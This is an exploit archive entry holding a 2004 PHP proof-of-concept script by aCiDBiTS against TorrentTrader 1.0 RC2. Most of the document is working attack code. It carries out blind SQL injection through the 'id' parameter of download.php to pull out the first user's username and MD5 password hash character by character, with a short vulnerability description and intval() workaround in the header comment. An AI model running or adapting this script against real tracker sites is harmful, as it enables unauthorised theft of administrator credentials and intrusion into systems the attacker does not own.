what you don't know can hurt you

torrent_exp.php.txt

torrent_exp.php.txt
Posted Sep 9, 2004
Authored by aCiDBiTS

Proof of concept PHP exploit that makes use of a SQL injection vulnerability in TorrentTrader version 1.0 RC2.

tags | exploit, php, sql injection, proof of concept
MD5 | ffaccf612344c9607315a6a6e4a820ed

torrent_exp.php.txt

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Usage:
/$ php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"/

#!/usr/bin/php

<?

/*

TorrentTrader 1.0 RC2 SQL Injection Proof of Concept
By aCiDBiTS acidbits@hotmail.com 31-August-2004

"TorrentTrader (http://www.torrenttrader.com/) is a feature
packed and
highly customisable open-source BitTorrent tracker."

This PoC dumps the username and password's md5 hash of first user in
TorrentTrader web application database, that should be the administrator.
First it fetchs a valid torrent id, then it determines if database's user
can perform "union select" and finally obtains the username and
md5(password). Tested on TorrentTrader 1.0 RC2, maybe older versions also
vulnerable.

Usage (in my debian box):
php4 -q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"


++ Vulnerability description & workaround++

There is no user input sanization for parameter "id" in
download.php prior
beeing used in a SQL query. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code. A workaround to solve this is to modify
download.php, line13:

$res = mysql_query("SELECT filename FROM torrents WHERE id = $id");

With:

$res = mysql_query("SELECT filename FROM torrents WHERE id =
".intval($id));


*/


echo "+----------------------------------------------------------+\n|
TorrentTrader 1.0 RC2 SQL Injection Proof of Concept |\n| By aCiDBiTS
acidbits@hotmail.com 31-August-2004
|\n+----------------------------------------------------------+\n\n";


if($argc<2) die("Usage: ".$argv[0]." URL_to_TorrentTrader_script\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "[+] Getting valid torrent id ... ";
$webc=get_web($host);
$temp=explode("torrents-details.php?id=",$webc);
$id=intval($temp[1]);
if( !$id ) die( "Failed!\n\n");
echo "OK\n Using Torrent id: $id\n\n";

echo "[+] Checking if injection is possible ... ";
$bas=$id."%20and%200%20union%20select%201%20from%20users%20where%20";
if( test_cond( $bas."1" ) && !test_cond( $bas."0" ) ) echo " OK\n\n"; else
die ("\n\n Failed! \n\n");

echo "[+] Getting username & password ... \n Username: ";
get_field( "username");
echo "\n MD5(Password): ";
get_field( "password" );

die("\n\n \ / \ /\n (Oo) Done! (oO)\n //||\\\\
//||\\\\\n\n");


function test_cond( $cond )
{
global $host;
$res=get_web( $host."download.php?id=".$cond);
if( eregi( "The ID has been found on the Database, but the torrent has
gone!", $res ) )
return 1;
else return 0;
}


function get_field( $field )
{
global $bas;
$unval= "
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
$idx=1;
$min=0;
$max=strlen($unval);
while($min!=$max) {
$mid=$min+(($max-$min)/2);
if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1)))
) {
$idx++;
echo substr($unval,$mid,1);
$min=0;
$max=strlen($unval);
if(
!test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))") )
return;
} else {
if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1)))
) $max=$mid;
else $min=$mid;
}
}
die( "\n\nUnexpected error!\n\n");
}


function get_web($url)
{
$ch=curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
$data=curl_exec ($ch);
curl_close ($ch);
return $data;
}


/* \ /
(Oo)
//||\\ */

?>

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